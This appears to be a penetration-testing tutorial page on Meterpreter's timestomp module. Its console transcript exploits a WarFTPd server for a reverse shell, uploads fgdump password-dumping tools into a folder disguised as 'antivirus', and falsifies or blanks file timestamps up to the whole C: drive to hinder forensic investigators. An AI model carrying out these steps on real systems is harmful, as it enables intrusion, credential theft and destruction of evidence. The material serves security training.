TimeStomp a11y.text TimeStomp Interacting with most file systems is like walking in the snowâ€¦you will leave footprints. How detailed those footprints are, how much can be learned from them, and how long they last all depends on various circumstances. The art of analyzing these artifacts is digital forensics. For various reasons, when conducting a penetration test you may want to make it hard for a forensic analyst to determine the actions that you took. The best way to avoid detection by a forensic investigation is simple: Donâ€™t touch the filesystem! This is one of the beautiful things about Meterpreter, it loads into memory without writing anything to disk, greatly minimizing the artifacts it leaves on a system. However, in many cases you may have to interact with the filesystem in some way. In those cases timestomp can be a great tool. Letâ€™s look at a file on the system and the MAC (Modified, Accessed, Changed) times of the file: File Path: C:\Documents and Settings\P0WN3D\My Documents\test.txt

Created Date: 5/3/2009 2:30:08 AM

Last Accessed: 5/3/2009 2:31:39 AM

Last Modified: 5/3/2009 2:30:36 AM We will now start by exploiting the system and loading up a Meterpreter session. After that, we will load the timestomp module and take a quick look at the file in question. msf exploit(warftpd_165_user) > exploit

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*] Connecting to FTP server 172.16.104.145:21...

[*] Connected to target FTP server.

[*] Trying target Windows 2000 SP0-SP4 English...

[*] Transmitting intermediate stager for over-sized stage...(191 bytes)

[*] Sending stage (2650 bytes)

[*] Sleeping before handling stage...

[*] Uploading DLL (75787 bytes)...

[*] Upload completed.

[*] meterpreter session 1 opened (172.16.104.130:4444 -> 172.16.104.145:1218)

meterpreter > use priv

Loading extension priv...success.

meterpreter > timestomp -h

Usage: timestomp OPTIONS file_path

OPTIONS:

-a Set the "last accessed" time of the file

-b Set the MACE timestamps so that EnCase shows blanks

-c Set the "creation" time of the file

-e Set the "mft entry modified" time of the file

-f Set the MACE of attributes equal to the supplied file

-h Help banner

-m Set the "last written" time of the file

-r Set the MACE timestamps recursively on a directory

-v Display the UTC MACE values of the file

-z Set all four attributes (MACE) of the file

meterpreter > pwd

C:\Program Files\War-ftpd

meterpreter > cd ..

meterpreter > pwd

C:Program Files

meterpreter > cd ..

meterpreter > cd Documents\ and\ Settings

meterpreter > cd P0WN3D

meterpreter > cd My\ Documents

meterpreter > ls

Listing: C:\Documents and Settings\P0WN3D\My Documents

==========

Mode Size Type Last modified Name

---- ---- ---- ---------- ----

40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 .

40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 ..

40555/r-xr-xr-x 0 dir Wed Dec 31 19:00:00 -0500 1969 My Pictures

100666/rw-rw-rw- 28 fil Wed Dec 31 19:00:00 -0500 1969 test.txt

meterpreter > timestomp test.txt -v

Modified : Sun May 03 04:30:36 -0400 2009

Accessed : Sun May 03 04:31:51 -0400 2009

Created : Sun May 03 04:30:08 -0400 2009

Entry Modified: Sun May 03 04:31:44 -0400 2009 Letâ€™s look at the MAC times displayed. We see that the file was created recently. Letâ€™s pretend for a minute that this is a super secret tool that we need to hide. One way to do this might be to set the MAC times to match the MAC times of another file on the system. Letâ€™s copy the MAC times from cmd.exe to test.txt to make it blend in a little better. meterpreter > timestomp test.txt -f C:\\WINNT\\system32\\cmd.exe

[*] Setting MACE attributes on test.txt from C:\WINNT\system32\cmd.exe

meterpreter > timestomp test.txt -v

Modified : Tue Dec 07 08:00:00 -0500 1999

Accessed : Sun May 03 05:14:51 -0400 2009

Created : Tue Dec 07 08:00:00 -0500 1999

Entry Modified: Sun May 03 05:11:16 -0400 2009 There we go! Now it looks as if the text.txt file was created on Dec 7th, 1999. Letâ€™s see how it looks from Windows. File Path: C:\Documents and Settings\P0WN3D\My Documents\test.txt

Created Date: 12/7/1999 7:00:00 AM

Last Accessed: 5/3/2009 3:11:16 AM

Last Modified: 12/7/1999 7:00:00 AM Success! Notice there are some slight differences between the times through Windows and Metasploit. This is due to the way the timezones are displayed. Windows is displaying the time in -0600, while Metasploit shows the MC times as -0500. When adjusted for the timezone differences, we can see that they match. Also notice that the act of checking the files information within Windows altered the last accessed time. This just goes to show how fragile MAC times can be, and why great care has to be taken when interacting with them. Letâ€™s now make a different change. In the previous example, we were looking to make the changes blend in but in some cases, this just isnâ€™t realistic and the best you can hope for is to make it harder for an investigator to identify when changes actually occurred. For those situations, timestomp has a great option (-b for blank) where it zeros out the MAC times for a file. Letâ€™s take a look. meterpreter > timestomp test.txt -v

Modified : Tue Dec 07 08:00:00 -0500 1999

Accessed : Sun May 03 05:16:20 -0400 2009

Created : Tue Dec 07 08:00:00 -0500 1999

Entry Modified: Sun May 03 05:11:16 -0400 2009

meterpreter > timestomp test.txt -b

[*] Blanking file MACE attributes on test.txt

meterpreter > timestomp test.txt -v

Modified : 2106-02-06 23:28:15 -0700

Accessed : 2106-02-06 23:28:15 -0700

Created : 2106-02-06 23:28:15 -0700

Entry Modified: 2106-02-06 23:28:15 -0700 When parsing the MAC times, timestomp now lists them as having been created in the year 2106!. This is very interesting, as some poorly written forensic tools have the same problem, and will crash when coming across entries like this. Letâ€™s see how the file looks in Windows. File Path: C:\Documents and Settings\P0WN3D\My Documents\test.txt

Created Date: 1/1/1601

Last Accessed: 5/3/2009 3:21:13 AM

Last Modified: 1/1/1601 Very interesting! Notice that times are no longer displayed, and the data is set to Jan 1, 1601. Any idea why that might be the case? (Hint:

http://en.wikipedia.org/wiki/1601#Notes) meterpreter > cd C:\\WINNT

meterpreter > mkdir antivirus

Creating directory: antivirus

meterpreter > cd antivirus

meterpreter > pwd

C:\WINNT\antivirus

meterpreter > upload /usr/share/windows-binaries/fgdump c:\\WINNT\\antivirus\\

[*] uploading : /usr/share/windows-binaries/fgdump/servpw.exe -> c:WINNTantivirusPwDump.exe

[*] uploaded : /usr/share/windows-binaries/fgdump/servpw.exe -> c:WINNTantivirusPwDump.exe

[*] uploading : /usr/share/windows-binaries/fgdump/cachedump64.exe ->

c:WINNTantivirusLsaExt.dll

[*] uploaded : /usr/share/windows-binaries/fgdump/cachedump64.exe ->

c:WINNTantivirusLsaExt.dll

[*] uploading : /usr/share/windows-binaries/fgdump/pstgdump.exe ->

c:WINNTantiviruspwservice.exe

[*] uploaded : /usr/share/windows-binaries/fgdump/pstgdump.exe ->

c:WINNTantiviruspwservice.exe

meterpreter > ls

Listing: C:\WINNT\antivirus

==========

Mode Size Type Last modified Name

---- ---- ---- ---------- ----

100777/rwxrwxrwx 174080 fil 2017-05-09 15:23:19 -0600 cachedump64.exe

100777/rwxrwxrwx 57344 fil 2017-05-09 15:23:20 -0600 pstgdump.exe

100777/rwxrwxrwx 57344 fil 2017-05-09 15:23:18 -0600 servpw.exe

meterpreter > cd .. With our files uploaded, we will now run timestomp on the them to confuse any potential investigator. meterpreter > timestomp antivirus\\servpw.exe -v

Modified : 2017-05-09 16:23:18 -0600

Accessed : 2017-05-09 16:23:18 -0600

Created : 2017-05-09 16:23:18 -0600

Entry Modified: 2017-05-09 16:23:18 -0600

meterpreter > timestomp antivirus\\pstgdump.exe -v

Modified : 2017-05-09 16:23:20 -0600

Accessed : 2017-05-09 16:23:19 -0600

Created : 2017-05-09 16:23:19 -0600

Entry Modified: 2017-05-09 16:23:20 -0600

meterpreter > timestomp antivirus -r

[*] Blanking directory MACE attributes on antivirus

meterpreter > ls

40777/rwxrwxrwx 0 dir 1980-01-01 00:00:00 -0700 ..

100666/rw-rw-rw- 115 fil 2106-02-06 23:28:15 -0700 servpw.exe

100666/rw-rw-rw- 12165 fil 2106-02-06 23:28:15 -0700 pstgdump.exe As you can see, Meterpreter can no longer get a proper directory listing. However, there is something to consider in this case. We have hidden when an action occurred, yet it will still be very obvious to an investigator where activity was happening. What would we do if we wanted to hide both when a toolkit was uploaded, and where it was uploaded? The easiest way to approach this is to zero out the times on the full drive. This will make the job of the investigator very difficult, as traditional timeline analysis will not be possible. Letâ€™s first look at our WINNT\system32 directory. Everything looks normal. Now, letâ€™s shake the filesystem up really bad! meterpreter > pwd

C:WINNT\antivirus

meterpreter > cd ../..

meterpreter > pwd

C:

meterpreter > ls

Listing: C:\

==========

Mode Size Type Last modified Name

---- ---- ---- ---------- ----

100777/rwxrwxrwx 0 fil Wed Dec 31 19:00:00 -0500 1969 AUTOEXEC.BAT

100666/rw-rw-rw- 0 fil Wed Dec 31 19:00:00 -0500 1969 CONFIG.SYS

40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 Documents and Settings

```
100444/r--r--r--  0         fil   Wed Dec 31 19:00:00 -0500 1969  IO.SYS
100444/r--r--r--  0         fil   Wed Dec 31 19:00:00 -0500 1969  MSDOS.SYS
100555/r-xr-xr-x  34468     fil   Wed Dec 31 19:00:00 -0500 1969  NTDETECT.COM
40555/r-xr-xr-x   0         dir   Wed Dec 31 19:00:00 -0500 1969  Program Files
40777/rwxrwxrwx   0         dir   Wed Dec 31 19:00:00 -0500 1969  RECYCLER
40777/rwxrwxrwx   0         dir   Wed Dec 31 19:00:00 -0500 1969  System Volume Information
40777/rwxrwxrwx   0         dir   Wed Dec 31 19:00:00 -0500 1969  WINNT
100555/r-xr-xr-x  148992    fil   Wed Dec 31 19:00:00 -0500 1969  arcldr.exe
100555/r-xr-xr-x  162816    fil   Wed Dec 31 19:00:00 -0500 1969  arcsetup.exe
100666/rw-rw-rw-  192       fil   Wed Dec 31 19:00:00 -0500 1969  boot.ini
100444/r--r--r--  214416    fil   Wed Dec 31 19:00:00 -0500 1969  ntldr
100666/rw-rw-rw-  402653184 fil   Wed Dec 31 19:00:00 -0500 1969  pagefile.sys

meterpreter > timestomp C:\\ -r
[*] Blanking directory MACE attributes on C:\
meterpreter > ls
meterpreter > ls

Listing: C:\
============

Mode              Size      Type  Last modified              Name
----              ----      ----  -------------              ----
100777/rwxrwxrwx  0         fil   2106-02-06 23:28:15 -0700  AUTOEXEC.BAT
100666/rw-rw-rw-  0         fil   2106-02-06 23:28:15 -0700  CONFIG.SYS
100666/rw-rw-rw-  0         fil   2106-02-06 23:28:15 -0700  Documents and Settings
```

100444/r--r--r-- 0 fil 2106-02-06 23:28:15 -0700 IO.SYS

100444/r--r--r-- 0 fil 2106-02-06 23:28:15 -0700 MSDOS.SYS

100555/r-xr-xr-x 47564 fil 2106-02-06 23:28:15 -0700 NTDETECT.COM

...snip... So, after that what does Windows see? Amazing. Windows has no idea what is going on, and displays crazy times all over the place. Donâ€™t get overconfident however. By taking this action, you have also made it very obvious that some adverse activity has occurred on the system. Also, there are many different sources of timeline information on a Windows system other than just MAC times. If a forensic investigator came across a system that had been modified in this manner, they would be running to these alternative information sources. However, the cost of conducting the investigation just went up. Next Screen Capture Prev Portfwd